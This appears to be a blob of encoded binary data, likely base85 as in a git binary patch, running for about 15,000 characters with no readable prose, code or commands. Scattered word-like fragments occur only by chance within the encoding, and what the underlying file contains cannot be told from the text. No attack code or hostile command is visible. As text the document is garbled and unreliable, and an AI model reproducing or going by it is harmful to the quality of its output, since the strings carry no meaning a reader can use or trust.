zj^*c+Fe~QgmT+Fo&lh24E)=;)c(L#j;iW=azD(ru60Q)rGM2xso_S3PPnNJ$!fS=s zl`vc6`VwvsnNz}o5*C&)SKfK-W}J(}S$3A<#u9ES;UP(G7TzVirG#5WZY$wVk=skS zLxi#DqUg-z-4ZS;;hqxiE#W@3GUaslvmYvye6hMQV?7ufiF6(=;SouAVsl9ekH-A5 z5*`q?l%wS5Vj zN?2dQd-86O^7|!h6ltM5@eg7P8~Yd^mGE&1pG)}@%1hWPPE(sp*b;N55;@90D6wa zA0mGW|5A(7;6Ek&E6EN{>}Av|hqIYc=G#Z8RR-j(Bc!}`dFOp!T}h&`Sw9YKEYhHi zh9ZsrqtisZsgQP>m3M9^wJf8RTK26nT9?tLjL~I`DWh!}?Ia&nM*A{4hz}^Eqe%BM zdX&*gytA;2u&Z!)VK*Vu+Cyovp?gZwr;NT)P#JrQ^cF_f$A01&VSnLX!o7twvJY#Z z3{&1@8EKJJIeh%V3mnmsgoF#`Y#hrjBUeVg45y5V{LYW$1#wqM%U&6$^f4Ifmr*LC zESrHeDXf$+NY~J+B++VoAcbY@8>cc%WWO>7$CCYNq>LeD43*?SVRRv8iZn7jk_ZnL z9wKDup(2NsF`|r-;?d=vL5ItGM67va8T-@=htk+G#+7ky8Rsczd>O}!Ob|{K9#zKC zBFB_*tjHuGqfahlig+|IDLGEwslsVx7)S1$PfjRfdKo85eo`4Hi%_3y@>9wW$FN>SHG)Q;8Brlh7K^Yg8aZwo; zm+^QRPn2g8XA7h9 zMr}H$jJXotQpP-yh3dfbHFg&KXG}3~H>#7|B)plU^*{G$x0i888H>ueM@H@}QS;RC|OLMl-6!7?5y<0P&6vd4$99w}pq6dn~m#$h{V zr)82SCA?^o@j@9(%XmuOWo0~9#`EG&lk;V+GM3VA2{T%XX|fEmVIe!F$Y zj+JG+D9x9I3}Q9DBL1rIHR0>RH~0vkj5o!j{I8BVW4$f@j&MyG@0PK)jCEyfh-atu zBJZi%qbZIxu<<`N|3Miama(afkIMKvw)`K@wh+1?Npn|po&~5-~S5T*dn=81bg1Qy#R)JGNp%O0q z>Q&IZf)?WSD`+6nP}oS=SV+w#B29(OgsWAGmg3n8T2;`xf;LRFf?gHuDS5jJx{91mD&J}bKc}9JEckyn*J%rtbjN7Avo-vP4Ua>8^g@G3a6g3%QeEAT5gP@yH^AYoZp z5i%D?b0i#B!6cFKvCagMiNd2QI9lWwVbl#Ki%+TG z*b0slKc#|GMW$9TP2_mt2^CBiIkAG1DmYo3v-fUVn=$7r>l!m8BtJvsv^u96Cp2uJGaB#{5{mpn`?sHwteO^1{c=+*-kH z72FwXazx)A^E*V??stjY9m^Mq+*85572H?B{S_>(;QA_VsN#VN9;CGZcLjK;f`>T- z0@MU}q=F?C{8GWM6+BwOV->tv!RiVgui%LaUaa7y3ZATBX$8+#@LUB?Rj{mrXDV2s zwAh`Vu3&iu>{LlPo)+Vov8dtLh|gE>f;3kO_nu+wH6skAW89Z3c%_2ZD|n-VSEWGt zYpj2bL0;XskX}Xmox>=%^TW~H+~dn%6}(-+#}#~1!8;tV6|Aq|Jw<0{cvoa?1?wuv z$4?cb6gO1xK?NUHu(5*oIs1(>KIiS{xSjdgRKZ7z`^1q3pJTR&)+ZHguHf4WzN=tM z1zRilvVv_=`>cY`EBJ!7S`5E15N!Z516(eCRl(O4d{e=8cKb%*4p?++|F+(LkLu_9 z3Vx{I#|nOuwRxS4?Yo8hD(r+$seXR0VAw=s=4j)$3VyGkNr0vS{;1$j<~+b|0sgAs z?+T0ni2(mp@UQIb5OVR!6=qaw7PD3W1gIULPJk0{3I`Ya7}rZw;C=L2AFb;;q${OKZd6n`Ia{q^Lqs7 z9-s%);sI>^#bD9m@D@0#?L7nZ4$vn+-vEWNp+0lVr27TvAB3+y?G>f2?nLk2@<#Uv zW`JaXQv#eCAQd1T;IIHA0$2eu0jdE8NI4t8q45B=ytx2*kzFeaH-HzQ6re15F@P_^ zY($x4vsQv|t15`)T!BX&W1uAa2RIIyI+98vF5H+hDb6j!0-S=101M&zKur& zb@e|ez`+3y32oqS|~QLNzr$I8^<0mcWI5a5UaM@lj}z?cAIV+*If zV{GI3PgNrcYj0wJqXJBp^3g0&fJp%+-kyl+^Ia~y`AB`LaW`Mn&@Sb10j5g%1mUy* z$BS^3)vPu0(wWX~DIv3ZQh<}y(7WnqMu5`-TpQrJ05b!e9^j$?7Y8^az?lJN1vodr zS&DvkfOAAx{HW$x?X+`Vfb#=f5a2>~iS~(eUQ9#}S)$5eMHya$^nkub^yHmt(aqHC0M`eYA7DYiuQX#$fVlzYvEQmUeyuey zTPpI7I>J~O;Kl$q1-MzYJzoj)yhiZV|0{kA}z5w?Jcsal;0Tu^%Ai(1Ro{+T%Ip+sh!mB`lhm|frsIuav1or@0 zkVgZ&_p!kV>M`}zsAx|HSjr9%U>S?k+u+6~Yn4Gy2Us59`2a5jcqYJ#0MEts*0#6N zl`ocZICGanj<;Yd1H2gErC5iP+X#NrAsHT~952=H-$PXc@xU{ipPWN_DziSqA9Q)qzA0k%jX%5z)(;8IWMJ`eCkfbRl)AK=RX z+X8$eHCE170ltp;E^FHZd@CWFZ`VcPhX6lI_+x;dMBa`s6Tbxb^?&vM2=FH-+bUXB z@mGMqIr&#ntBQZ5W>mx3``-XN;#g5 zXjny~YIseL>X!fS;7L6G>4UL&6>d^RQ-)U2yowfzxRI~7v=2jfm6W`77452MUqzcL z+E&9EiGzp*XHW;l>R3gmYIy#fhfkt}c-82vAZB~_D!NrMsfx)}>`_JcDuODiRrIK$ zXBBo8xhi^9v1b+gR8gZ?y{qV3ML+RALSCBtSFxA)-qrA0@U8wk99@E$C9{fT6;>6Q zDpFEo_R`gG3y7UODo(ZxYhHp*30B#bWWtnC3+3}nqzac~ubs@PYd`&Y4_GB8-)x}6PvHYXZ!2UIbn zilJ2;SjDg^hW{T`Ujcqa@qT|l970M;lokY(QVcLqEW90iyFR3Zlt@VlB47X_NH>zA zf`N$=N*jnEAX4fV6I4(@Fi`$y&whqKzvtQKJZH|l^Ugc7v$K15XZOm$d7ykxGuQPz z)47U{h?KJ0y3x*!v>O>WvTo$u$h%RfEM5TcUW#)Kz$2PvIYG5|qk|h=WYE!#PHx=q zMrS22KGvMk`}pF5u5NUrXZ{O3cY!>Rlk{|>mm9;}c*Kp~ZagRteT9A8cu0i(%)QL3 zEOv4~H~PCVz>R@!40dCP3?6o4kO(iBi}SC&&GpPsH=1$5QX?0KA_v}ZH%7SetSldO zW2768yYYk@kGV0*jnQt5aobP9XwMp*OG*-+eOUFAZan42csHI_@v-XmapD(FpcCA9 z#*K+?Op@;O+tzXgY-yVZ?VIpdb#_fw))e7X;VfQ2HgU~xW2PG`+*s+xEH`FzmR9Z@ zH|Dyr)Qx3s%yVPD8;jgn?8X8&o^xZNY#8Lbor{i_;BcL@{#B9J+*l>@y3pyXx7>K!jbm>7?8ZB8 ztmbj*#x5Q~9OQ0nabv3+Yus4t#s_X}aATbt>s9=H;e~#_(DNJJ*yP4$Gcgzx?3Fk8b?r#!=~YOWXeWe2sg7m;HUm7Vz@s7dL)& z<3Bgf%foRuPP%c*jT3JC#-m0tFpS^TE|Sx3{Ncu5Zu~9#Gj5!9<4;*S0XrAryu$y- zjdPs&WtJ}KaxO5OxrKgQ9u#;`#)GmR6!X~Ug%Tc=^Z>jCq~wKN!>m#sT;f4#kNq5z z52IO;vyYfn&V%wERQ8~X2bX$K!Gnq(R5Bh0^(g8|o@e>9V(uu{Wgb-Z;Bpx(9A)oi zp6RacQ8a^9m;Rdvzk5(ayr!_02en0FD!8i64J(XzY!L=T=WYUA{lzXF7g!lhFxZZ;slw`dOl|H%M z zL&WKd-X1*YL0>6-g!J&xMFx&pKlKtDGSGvEJ$S)`7d;r{!C()@c<{LFhX{uYhk7tf zgx(%8v5oNHQHdjkqlAx{{vWL*t7FVhc<`hLbEQ1x!B`I_doaa=aUP8KV1ftFn0TI+ zjnhjLJ(#5Av!+HzXAE>Z)q`ms%=BQE2h(LneTK1gnn`80vgR0_3Z2aJV7>9=u}|$Mc2uzURSO57v3G#st8?){DO{ykO~& zjUH_C;6o2Kd9c}oEyiZ6**i326(4!su!1w zUm>g}tS)q}X=zhS$tJ?uUexj8N-yeqQO}Ep5@~al7rYK6;a1;^2GV)bag?i-yvB=0 zB8`Ph6n|53nl%%-R(PEk&Aqr@oL3;sy}^qcmAugEmP)qq;%1Rsytvhi+r;k@vQ#TC zZWq5p*xKlKitwj2ZSEGoM|iJrnQpk&zBz33v#u3mKW;sJ4vknUde&`2ZiDRHon_4X3!Equ_6K1P4Yi@xIhg#CpBycp=k z!*Vr93ik*HuyX_rkup?B&%;C>@nX19Mu7t_3$?!_Es z%`o0(c`;L*^)l?)Mt72Py_hG(8GFx(FBUEoF1jdpi8!4s^3NOeYrR-!IE#EBzS)Z{UTpAUBagUC?6z~;#!_|l8kA>0|lelHGqQQeOkejJp| zXdlM-aL9|pUVP=n*Is0N$olN*@f$Dx^x`kal@~`uzV+feFTOYakBj`^#gAV6B!1M3 zpV>h1V?y?l^MLYKC7rgM5dY1K-$hOe{}7%Mp4KR37-y6uIct=^z4(XIm&VdLFaGu7 z79Vc);Xg0Vvvoey@WG`fu+(Kf6!=g~N%&C4hqB_ueJJ5WNgqo2aEX-CLjK^oFf;R~ zRyiNaORwU?r9M;;uk1rbkxD}6-Y@Io!vZ32<~XYn$gBG7XO5T4>Y3a+K3r*dU6In0Tvv(I7dG&rp~%%fTqDAO(UhuJ_>v ziP!pYod~Bs2GCr5R|k8Q&T*YtZuH?Mi7k9+DMGUidDqQ`Gv?cTXywCwKDd3j-RSrF zaEEwnR>#GkM!(C4yM4IFXRigKD{k!1Hp+Dle2))aC6hv*4`EZ*FB0$}Xq1o-e^<8s zM0~J(h)RzM>5UDEizkH6j!228g)GSa$@!31a6wDX~xNPA=7!H159 zcM`c@*x83JB3(@`?}R_#Lw6;6`0$X?d-~AJ@ZKU13i}AzSA9kL3Hu8f=Kzs`!iRnK zHz+7NJw`G_`cNN+i98~tK3rsk508qBH2PyAql8@J{kRWLa3uTf1N=!Jp7P;iA3pJ6 ztPkUS_)uo!eR$f36+W!=VS*3O_%O?d**;A4VUiEe`Y_oC-a)#K&yx6w<|g(X<|!&T zgMG-i0DSm?|Nr8{bcw9UdB`|ZN!}ZrHgtj?han4@Qlo7TgB{`te5%lybsHLc!5peKl%FbqHH>EE=W#yy&%ia z2H8(JU*_QFT`wQr@!=I8UiINMA6D_u=64+sIn34L)r2VUrJ=ec0l|Rv%7xbZt0W zK+Em}iypRalS9^3SEWAk+2?4-!**qr_v2HM9X@>K!%iP|`EXXs=fZ=W#zl7fut#LC z4_}Dv6MiY=MdN;v1434DOCQ%^AHMS8s1L^^el7e?_>E&GJmSN*A{S=J@7ZHM{3!7! zpM95`4xLlm&p!Mj{j~5`;qSuZ!V^CHCc+|I^FTbQQ2?8>?-D666$l|(8V%PM|cW_VRUE*HPTDAhzJ40P4>qn01-{pi2|{HP_{g@*%SIAQHMCJ<} z%jd)w`mxB5#eOU?mM{6SQ~@tD%JU-2{dmET7sVY94zBQHrNoyn%3_VL`LSBcD&gzG zH-v8rY4esJZyWxO2z|aQ@}6*waIGKfMArMULF9em2SWPcFxx1;Nx0eQTQu68I6w5` zm>)kY>m%XE!cTqtp0%ac9nF?LYeQlgT}*S(J|vfAQm2 zj-?8_=ano7*jG3%89V)7ObUcF=0@X^ zGAJKFsQ@kspmYFb0w^0mxj@nVbH~iFcl?u+R1Ba}0JQ?B9YAF{p|>g`G`K8)ssUUc zz!d@1FuBzNs4mXpjuRH)Rx|Mb?}yh3pg{l)1GrL_bpxm;a#aBJMOctU9K1S!YXWE# zK;w&|rE|8I22K^t0=QNMZW^(cYqdbE>{g z9$E>h+-^$U8NgiuBm+nVaJO>Z0eD323E*ClHp2UaEKBEJHQygVK%&p|M$p(K0tf{V zRx%PmG=NwDmdT|D`iU#)a3VK0FdaZ9fDQq43?OUl+lu4@$cq#ToyN8cpuMTxan&h+ z`vd3}zymVtEbJ0M+ZDF|t``}1S5_}!4^lAU_bx^ z0~i~?xBwmwU{C;~0~iy)VA<1nSO7z`7ls-S4Du22;Q@>Y;L!j^2Jlz_qb>@J1sTA_ z+vCcm@R&e0Hy~p zJAgR>%m`qnjAzNl=~AZ@qnaDQya470u)vHTb}4PR(Z(SQReX`D(aB=jWdS@Nz?uNo z2CzJU7XnxFkNo199g^=D>2JmtKuLSUF0Ix}Oy2Wuw114XW{zd?A2Jn{n+X1{I zLNgjTA<_6$9|W*LSsRTj`Wf8KcDThfe5{5|00@xS8=i<8q*dq_@Ojfbic>6Md z{Q>-Bk_Q6#M)n5-I26EPMf+6%UrW5uQWE<4UjRn}_%?v=0{Bq|-y1(a7~)v6MyE56 z25>BZp9AM6^q%S}q+hEfo8Ksi#z8a*qN!n}WDKh&zI4p;9d`iuPtHw@A5Fcv}#y6c~eXe6|ka z&L9edXdA>`LHnCurs{~$&L@n{eO zf*2UYkRXPt$iqP_-Ro+(u3(UogUwE)^I^s(4IU96ZWQ_)8N_2sjtydznmjs)F;bkW zAD64Af_Nf`C#AC#Hzy?GIOA=+DfNts%nV{y5EI2G37-`*q{%@{F?_1Xv>>JjF+-g7 z(m%~+2Qepz9h}6Z&kf?`AYKV#UJ&zxSfJ__2eBlG=S&O>gIHt^5GTl`%6cJ)Wg^c9 zvD_Fq{rsYwzZArZAXXYbjKNtC|7sAgN!%)26~ya7ykR`NDe>JP-V5TbAl{bF$lnQK zwXzt4(~WDC+z`aZAl3%4E{OF~-Vfpfm7*CpmUVEGqS_q97L)6AxYMX@L42s3dXgZxCMuu}}J!!u`s1DrH@V zf;b$+i6DLp;wx2gG>Bue{5ptl=p=|EL3}IaN8xutd>_OQ;`BgQ&c?uglIS@9S^T*0 zmmq#MSx)YSw*MZ)Ic1#`o(kf05Pt-5CWya+_}d(_XM^}t1{Z2{$UhRDKKWPtzaY*B z;R@O30&c}ZC@`E=BUE%_jl5(Cr9!A1LcI_!388cd)kF4qp^R)u%7;)kgmNb7#7v); zhEO4diXl{z{beCk4WV)fRsOFf?Jp1EiV&(@q%&-Ka5|xeiq{OGRtUAl>&Ws-aaz&? z@v0E&hj2>>w@Pmi!nGk>7eYfOrCbw2qYxU4({qy$nu<3wisOn|PQA??J!GE~nRP=5 zH%hrFgq9+#w?zndYbn&t#tFsS#BUe25;~sQqB~3*?_$9aR)+C%826~>+lSCW0GguWs43*r6{I*0I}jJt%;HH2Qq8;w~@w-6qX(%tAi zM0$qouTLx=Z`<@%ZAr@CZCjX zXY&oBaUnb%!h{gUUu5ItJ|j!6B;;DVN#f3;J2q;vl2bzVIzuM8O%GvN2+xNwLs>IJ zm?bhhg!v&X5T6sm+z{r8Us#39vd@LESmMHv{SnkfLh4+Jy+ry_p|dJ`x%f&UZC((0 zF@%>wSRw8N%&eC~cqN2a*(dxa9xwPqcujnj@UDq2M}I@fH-&Er-xfMA_q`j!9=Ux_ zxF&?PA*>VM9Kx0m)`#%Ek{{@ZV7=TnNZBadWJUt@tx|S`uubGc;YT5SEb>VR+eMsV zM*B~d4 z>kz&nSMmstzVqk54cYg=Nw_&Ti+%{<7i0gU$WOwfAsiF=*&Nqw!mlA5mv|zCQzE|! zS?}*MJ82?6ZS+4vICGJQKc)X=a{mtDAMta-e?$0BKteQ1(6$=Al6c3|> z6sJo|ijNDUl*lDvln$dz7-hrohT#jNTo~oUxFL)i!?-kz3Sra@qh1&l!>AO-Qd^2Q6r3+VbltvcDU$d#2)BX-ac^nPYql> zJ9&@IuVfLu2YOW)^}}cyMl*S65XRMETqE8vjLt55L2sil8i&zDBFpaXZhPQ+CABNr z`-}WqWi=OG7q;JI;erId5pcZ}XMOlhVcZhNtzoo~*iy){H;3_RZ`%?4 z+#bdqGPo;@)?xc){5zH8^JTtPpId3KhGmhv!=TcYi$9g?7T%|Z^D!CUePDNaB=WJ5 zKa4;a1H*VYj9?g{FuH`%HH>f=kuY*$k0-dIV6msVGI+0MBUEfe23^|e*8a-N5dEy#$#cO3S+b>=r|t}#^WmW zMA&|3lV@`l9H8m?Np?H`7eF{x$dNNXjHknx5XNQv#!eW^!+1t~qHvOsSOS3@LeG--wR`n_*$cIFt1ms_rv&rBUT?S*dS%2 zkbS;MWOKOadE(YEwn_O=ctT^~qcA=WY}%gz>B5 zp_6~|u5*iA$K{i|jNX1z*6+fTLRNh$jML(OgmET}vtj(nc{qad5&RX#-<-oEC=tOw zviUcR|3uD(?G;vR^?6Rh5fnsFEMi|!aqv&BZ7<^D#RHSv5Wx}sQFTcfl#ZZG1f?Rl zL`hyB@;!RGqGeer&Y6N=aJn>t3K3M5SW#G6NXtqQ@LGt^)~iHtSp+BC7>{o(oq9_%#c`(?dDS4H!zL53} zB5255C9e@Sji8Z8V__4a6FlvkMR2W@>n_r-kKl%gJqz6!L5m1lD(j|;3~r9#b|vZI z7Li+pw?)uO#2Mkty(5CwQtlK|xl4q5l(rGH6KOBJ&~KfT>?XWl*g1kOB3*^_utT49eL%_XLXJA_ zIJTX+#0Mkj6G2~N@8}O*6hprV`bRJzf`Jh{96?(P?JNw6U~mLqMeub5Ln0U&!5b00 z8Nsj!9*JOj1T!KS9>EB?ogBfV5sZvrYy{(^JQl&|2*yP0)5j<&B#%e%L;<-mSH;;t@>LPM zuB6khw<36(BQ}B$B6vqSZQhMwwc!lxJ@GXWtW^)Mi(tLU<&r!Xa%X$ zEsTfupYtdvXJ2sciC}L8UqrAkf&&p8RFN;aBO1B(i}!!Xw&yEyhm5zwjDd^m<`zZ% z4fP0av~ZJ!BN2SdHd-id;kyXFkKjxMXCwGQWsgR1EP@}6pP$qlbpCS$zeMm`1ive) zUn4jk!3iGDX4Se=7r!WSGJ;bPoQ~iRb42jiIn%@*jcgr1(#S^9;h&uIBRHpu{u2Hz zWIz8aQefE={(ljiXDxjAYuS@0M-B(oJl+VhKtcm9s4HQiq=h;buC!3f!X*|eTc~28 zw1qMjF11j>LRkytX&vSe-p3-!gn zI%aoBLvdbRvq&QgjV)Yfp}B=77Md#STGngIGC~e@XI!yAd4YGmg&Qu)b^gn#g@u+D zEa^8}xW$53{8kIMS-8i-y%t(oxZT2?((e$`VQb4iS{W6$X`j39vT(PuI2w6c6&EW zSqt+mEU++H1~V@mloc#@V13*7CyA_j)m10)>&B3PF8VNy2iqL;yjL+ z`-;g)E4%(&mTR5Ps zUo9N8aLB^<7JjgB*uqy9zE#%O7QP|jw9hHAk6nrmiOvq<8HD^hS#mJ5=YO>DlafDM zI4W{XNHgwn4mobWNa6FBFHr2bg%e8tCOpZJ!*hgYR}Pg^7EWunWS=-A=d6W4IYmcN zI%?0re_8lf1^>42kH|UpmG**jH}XFV=PkIRD2SqX6eXf47A<-ffN0UY!C}nsN=h#! z)A`wNBL8@IT$K9C}tYZ{E_Hvyz@Z9I|Hm`j&ga&fXe(R7DVy7v41X#rBN(Xa-nch6pN!+5-qx; zQnQZj;dy1f7{yCbEEj)4_?+%lt`L7EidUmp$>F4=^9t37d9K%#q?1)fce37y;!U~}};Q4}9X@ktchqu6QmPovlo#b@dP*68l*>etf6{-oPo zQG6b?ZxB&o49wkQN;$FZQ}SRGUn-dWN**va?5;ym9FF3vD87#3NEF{j@r{!!bb4l~ zzHsuLl<$R9*nHyvOtqtu^1pirMO6m z7)lzYl*lDQe!Zk@4CP{I7{}Fdl#k(3>3w6U5JSZnZi=Br43%Q29K#L9Llu!)FA+C8$Ki8a8lAQ3UW9Ssa{j%&VbX*a;$hd2)Xhx#_12J@up+^ioW9St_TV8j?&|9V0 zGY@ia28#X6NG;SrJHF^q^6 zoiUx$9DP0(L-DwMP9GJ+=orSZQ8Aom*fBg2v(H@I-i+bN7@kscYz(twm=nXe7{m>R=0Rq;#=lVW%_hKWk@T8`IClf_xZ6p=PB+areu-E`xBhB**s#xRS!N!KmT znQLwg^I}*Y!wWIYk6}R!i(^<4!*ek#jA2pC{-;7l=$!cY%^!LuQdt_qvKXF^*3e5R`Jx;>3d^LvGVt74;e!}9sIlu}cwc0_X}c4- zgBvAo5>j!*tubtqvR(LL3?IkviF)iKDU8I~oFbpbup@@g6!y*-c8NF!>=u&cD_nbG z*h@WzBWgYiei6gI7`}{Qe+*x#$blFR#&9Tx!%EVIee3L+*LT@9GWm53-zXAi7f|^& zhVNqdHHPEz{Cx~R#c(u+A7c2CvxG_!>Ft=@{v5+EA`~5+uJ~=(6YOf~r-Z-9aME-O z%@_tfIL%?DXJYtUX5?pM_*48ZqjZ?%`X`2SO8y&zOQW5Z|4BJ7es3=}3jw&LRT;1Q;;0r!^*Cz8Q8SLK;;0`-EtR^`Sk{iC&P9Icux=dnluPco<*kMWQk>sn*Tm5% zj(8l2I2y;%B#yh{xLXEIi%Q$Wm zxmkFNke0WK?Br@Xk=uoL2wMwjb7vf9KDD1B-4nM5hBpph9QUf*+X(Lyaxb_=JTh~} zpm5w75$KW`ID4C6;i%3pL z`@Be@ux%XeMA{2G#L+R1PU4+~_X`;$e@#1m*i}k5;RA7WkE2H%J(cVqM=y~Fg{-T$ z2n+TRc}UpTk)38_31$8hlxM&Us;Qv5Naj1n0w z923XmaXb;nlO}hZ$Wy|xaqPR=?$7Zi*O?h6#PN)jiNZ;7JR8U4IHtt$p0S)NvOqX3 zj_D#ZgfoS+;+P%BoVb18W1f_`;;e$od@0V)@aN)KsN|wJmdEje_+sG_;nFyki99b4 z446({l=4a(uZp}RToK1g4KUigtbXReBY!Q9w`8!2B2O;DH-v8rc_yX)wrt)Jt`@#4 zbbimSiDRvj>*ClVLeJ~tcwZhq5N;4|6mAl37CQd7s?;{&hjDxq$H(UA*b&Dk;@gFv z3ON!O|7Wt_DcmJ=#^jzj_Hu4Xpnd{ha976hdmJZu;K#8)j-TWBC5{8K|3P?Acu06y z_?3{Y_&Sbn4F6voN5sDserNRWMOgKZar`8HRCr7sUZIpdketANm3~5aTZ?Bvg~aMv`XN1DR&6(6t)&RU2#{!UKGSP=vj6Z{{=XKHVNF9069JQ5^y`lLa&gP z%G83@PMvGE4ewq2r(Z zMjQ53)a9C=0KY0pzCgXl2Y-uXxg>$52`rX);nVKRl(k&=ypX+3SA4+nVgfHoS&_iH z1lA|8GJ%(+ypq7%BCiTx6Rr}n?CS}w zKQOr)w3{{xHwiZsEzz+$WNZ_}G{c+$Q6F4UFQ^Nif)C z_bbbCqYb}tdMbg_3AmCdNZOP9A9DB)=YPl8c=$7czr_C*Ua9Kn;hd8H3ja&sJm*Q{ zoK-jl1Y?G;*umvC-HC+gOVtdMA;<#Nd%H8mqdB)jwEhK;?g84 zBvB)Ynn_fYhssI&j6*+_l%(e>NnDmhRV6P^;tCnC1FIQQ-H^IEGuBF?wv=myb%;q^ zlf;!t)Rj^%iK{dooXG3Ta|2;Rp>vEkk}-p6mPBLmCdy^0rlz>FA8B))44Mlm-k8Kq zN!)8Zv`C`0c*`ViPU4m%ZdLMj`ME8LR`SfoIw2A7kiwg06z@#pt|aa@-u4}F-J@LA z%evZd2~ZMllk1UBW^waM^vRf(!6ZUSbWWm+^l%dCBr-`vl(bYZnna92YJAc|Jc)#f zEh)2Gm@B@#4KgaPGY_qK1WH`HCGYN zGr=z~JJjjAMM=D92Fc@`jmTQzI^lZG08Q=vz9ET?NgPSz z+cY*Mv6*3~@O%nelGvI=yA;}|uq}xXX_LgaD*I6qdqi0LW06mi*e>#^aEHnLEQy_l z?@Hox!*`2t7wk>q3-NtP91{6beY;=%cEI%BK@r*?X4U))U|D{h#5bJ!*p1wA=g%)G zbaAHLtaa(M{7yEE@OwG@A&DQ8_$i5_NgPX}VG38L@N*Ksa3W2iTnfJ?aXg8?llUiz z6G{B0;%AchUF4MUb~0&S3(^1SB>qSu+1dW)ymLE+d-iM+e{%Uju`?d@Z0i^5$p?C@ zIw@SK+?w*kAZw*iJ7wR`sY%5F=2S+aFki7<=bBy3xD=E9c1+QYoa>tBipgZMfx9 zC`_TPJmgdM-#}Az?m4hsrO-Qt2U8fB!ow-_N#UUs`lZl6g$2{>y86ogq4@oZ(b2CyIaGDtsr zcMMYQkQ9cdFj$Po(f< z3X^2>R0?B7CZsS|Zg~cLEgiD1j*4QyD7vIcDHH8;acrk^SGyvYv zo?0QkQphfSIfYlmUp2~WBCCY2>tLbToAOELZ;8B}!aE|XO{sT9-b-PP$l4UviLB>{ zGB!>VK2X68!i~aBLT9jTP2rg|CZ@41g%1_*M;v2md*b>yg-=r0p2DXo{F%aEDeOq$ zvlNb|aEvpIoY3q@3cFJHT*=)j97y3{3VTfM-W0w_VV{y;rm$bc`7$t{xUo35Ln(Y^ z><_2ld>@kf*Al-Wia5X2sDG>Ecf#+5KL~$J;U|$PW~KelO8%b0FCxDRj|)!-e-mDK zVs%olaZaZ?)SQuvosZW@=T@m~t(Q>dWcbEQ#` zMrrY4LY6I=MsFVMN)}I}gwdUsn@TBpiIBCFF}Y>aC?{S%jY~zGuHcMRQOQce%EBr_ z)^%AL56rTA_=+^DNo<@(^)zavab+5HrPNHLjz}$2s&?8wcd!&U-sfku_0ni)a<59G zzIcN)-sVa z8zt{c!+nvxmpxO)<&)wU($bmvLutg*NTd;#9uZo?sIiQRaIYnek`YOzkrr`!HJe6G z$$T2^(rBMXp^|NdtdaZFIW9V+(J_rqM!#Rg=_2PYO_wyfO6(?lAdT*6^hl#;8vWB4 zkVY>CeEvLF)vhb+>Yc`eY4lOgvzESTJfvL5RX?^)rzh@?foVLP#-pa*L1_#VA1oXq z9ICSP!%~k(87>@=wlAN!vEGqsJeJ0&G)AZKWExMUF~*d7LdK7qN*#L^8JouVG@h0| zPBzSP0%KhhjQylEo>lH!X-pQGlE&0@(esOG95w~6`O;ZxdfL7Wn32Xzky*moLh5tU zm}~ev5zdMWOxfqsSSY?Ijm2p!Nn>dmFQu^}jb+kb;0Wg`Ao1nGYs=UppW=&Y@SDS| zVr3dHr?E=8&hC3f{8iy=LKb1x>k8lv#ZTo;W$`RB28mpDN!Pvhm@}6*waIJ7% z8tX;q;eC-0gzUzRBAe3KoW_f!p@-qw;gGG zCWU;b$S&dM#%!<2J(R{5;`@YOrm;Vb119&N_8OgB@O(Ipuax_>vH6B!i#s;orSW|l zYcp7v!4GNtm`3poN@VO4)=z1iP2KE?xk{R5P!HpS|%HWa=N@q|egK8O6&lHX4va+Y2av7A*6g^+KRHTBiVg{8&DhsO! z*`=3>RL$UWqg)}vPlweoK5J&|gT;xnmc-f_)XCsV@w&9n;2QCI8C)e&U&ta2L>dZt zoHi0^Dr_vIO_NN~y=C%d8C;veb;@dp$T~8{D3QKX{ja8G! z3CCyfw8(@Ep2=XM_*5Y+CuQ)g_+;S}qdR|U$=}X1GMJgcI~lB2)~pOxWUw-W*-FmI zU~UHUOsS;Oh*&$>3WRr?>xQaKyM`MNSppW$=9lOwz!K;V0P~%iw2` zqbBzkC4bG}xX1+$PO0BBIGMrO4E|K^DGo)`y3@w~j3F%YR|bD)@NWkHN&F{+b0Us6 zC${rOab@ie;l@hYW60Y5Rz8bMvnZZLi7ZNHQ7UWqVc9G$$)a=?Wt4Qh5gmsPmQ!)M zs*pv+EH2ODiYzM0zDgFCWl{P6maUroKmAipxz)3%@qhK2rW9+bqktP`aka!Ng>|#2 zm&H|C)Hjw56bbE}z!>K>%DOI#Mp-n@qDdA_rChLSmc_MF7(X`_X`aRPjzd*?L3fUk zmRa1K#XDK7&f=CVcAm8tF1E|sXZc&RxJ{&07Pn_{M;5J>jAn7C2yN~Yxl4F=7WatU zD{Lcl9>=)FJwmULWqn!r#RFLcvj`bIl112XJ_NKb;;}5^StN{-6G;kFS){YbWRX>p zPbgRgi*w6MDHOI9I!lph&_0U}QaWbQDU18F=$ys)ES}DyOBP+T=$l198FUl&%Hjc$ z?m~L#A<{F8fO-3=x0DC7=woai65*vt|11V@R46%6I3$aqSv)L0NJyW9vqk?+Gc1co zvUn_uQOX*g#iPb%gb00(Gz$NQc(nK!qc|5ok7x0T?wir`lUY1va>t5{6Vh@*7SCj{ zFpEW5Oq4j4115_};?D}{VY0}Sto<~Q$>~|lkTO4unOV%rVxF;_Eixx-zpa0#0+=hs znbI9xAmurZF6U2Im3%&n@ca=*V~ zbf+IyDfwm=uN(ah5obm8TUorVq!Y=zS-i&yB!>z)tjS`nvUp*VQaP!@+pz7ihE;%kv_gskX)oG#3j>bDZV z%i?=Oi~N?g|M8r~`8x2)EH1pCcsh$e zvN)5)S(%+PrT)y~FY&*H{}`R;-+#0CFN^b8xN<0&L#Z4Ja`u!3AxSYOSDhZ4E} z-y)uQFUg^F4&{txnHb;LYI< z>5R&qL+c#wRPwGI7V=j>4tFbgPtN`e7;g9GihhsWC*66AhnKR>zbE^0NaT>r!Jk7w z2EiOG5&9415Y8czEBd8Cg$1J~H&l^P&VDY&6AH1L_yfZ3 z!X6jp_RgVy4g;h-DC{GANZ41{Pe^YA*;gD(W+f6APz_>N>(HY(#Kbc+hhaH9qAUi$ zZMZy)5I!m#X?%{(VN4EFRrc{5o)CFP_@r!}5_j4%R?0Zxc;VB+2}0UT%wdxFvpG!8 zVTxj4gw93-Zqtmz=^`^^KT|kMI9oVJNc;IRTbaYlIV|A*Qj)`RA%}4ei*s0#!%I2) zHyZcF(j1nHGr25>=VeTtza?MD!Nr?DLM}cer@lf-ju!G)WV}6xS2YY?<6*^Dz;bv! zhc|L~Q^^m6Z*hhfp~2fC?+8~5-_7AYlk40VS*zqa;rblj7jd#SaSoq|IDQ!ar;4AC@OI{~D~AJJaIgzL&tZ2C|Fy&UcG#1{-W-m$ z!?AYwB8PoBG%iGwLi?8QmpO#;2Uq#35(UVznXO{ho6=F#n}8Ray*94#k7thYaCJ5b!#5C<#DI%TM4P(A#%IWTgKH| 